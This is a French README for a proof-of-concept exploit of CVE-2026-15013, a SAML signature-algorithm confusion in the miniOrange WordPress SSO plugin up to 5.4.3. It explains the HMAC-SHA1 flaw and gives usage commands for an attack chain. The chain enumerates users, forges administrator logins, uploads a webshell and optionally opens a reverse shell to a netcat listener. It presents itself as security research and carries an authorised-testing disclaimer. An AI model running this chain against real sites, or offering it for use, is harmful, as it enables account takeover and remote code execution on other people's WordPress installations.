CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 Contournement d'authentification (PoC)

Preuve de concept pour CVE-2026-15013 : contournement d'authentification sans authentification préalable via une confusion d'algorithme de signature SAML (HMAC-SHA1) dans le plugin WordPress miniOrange SAML Single Sign On – SSO Login (versions jusqu'à 5.4.3 incluse).

Tests autorisés uniquement. Utilisez ce code uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. L'accès non autorisé à des systèmes informatiques est illégal.

Crédits

Fiche CVE : https://www.cve.org/CVERecord?id=CVE-2026-15013

Cause racine

Mo_SAML_Utilities::mo_saml_cast_key() fait confiance à l'algorithme SignatureMethod de la SAMLResponse contrôlée par l'attaquant. Lorsqu'il est défini sur HMAC-SHA1, le plugin réinterprète la clé publique RSA de l'IdP comme un secret partagé HMAC et vérifie la signature avec celle-ci. Toute personne pouvant lire le certificat de l'IdP (souvent des métadonnées publiques) peut forger une assertion valide pour n'importe quel utilisateur WordPress existant, y compris les administrateurs.

Corrigé dans 5.4.4+ (algorithmes non sécurisés / HMAC rejeté).

CVSS

9.8 CRITIQUE — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Prérequis

• Python 3.10+
• CLI openssl (pour extraire la clé publique du certificat)
• Accès réseau au site WordPress cible et, pour la récupération automatique de la clé, au descripteur SAML de l'IdP

Installer les dépendances :

pip install -r requirements.txt

Utilisation

Chaîne complète (énumération, connexion HMAC, admin, webshell) :

python3 exploit.py -u https://TARGET.example

Shell inverse optionnel (démarrer d'abord le listener : nc -lvnp 4444) :

python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444

Connexion uniquement (sans shell) :

python3 exploit.py -u https://TARGET.example --no-shell

Remplacements manuels :

python3 exploit.py -u https://TARGET.example \
  --issuer https://idp.example/realms/xxx \
  --nameid admin \
  -k ./idp-pubkey.pem

Arguments

Déroulement

1. Détecter WordPress et la version du plugin (doit être <= 5.4.3)
2. Découvrir l'ACS, l'entityID du SP, l'émetteur IdP
3. Obtenir le certificat de signature IdP (métadonnées) et dériver la clé publique PEM (secret HMAC)
4. Énumérer les utilisateurs WordPress
5. Forger une SAMLResponse signée HMAC-SHA1 pour chaque utilisateur candidat
6. Sélectionner le compte disposant de la capacité install_plugins (admin)
7. Uploader le plugin webshell (exp/shell.php?c=id)
8. Shell inverse optionnel via --lhost

Avertissement

Ce projet est exclusivement destiné à la recherche en sécurité, à des fins éducatives et autorisées. Les auteurs et contributeurs ne sont pas responsables d'une utilisation abusive. Obtenez toujours une autorisation écrite avant de tester des systèmes tiers. La vulnérabilité d'origine a été signalée dans le cadre d'une divulgation responsable ; ce dépôt ne démontre la reproduction qu'à des fins d'apprentissage et de validation défensive.

Références

• https://www.cve.org/CVERecord?id=CVE-2026-15013
• https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
• Correctif du plugin : miniOrange SAML 5.4.4+

Licence

Pour un usage de recherche. Sans garantie.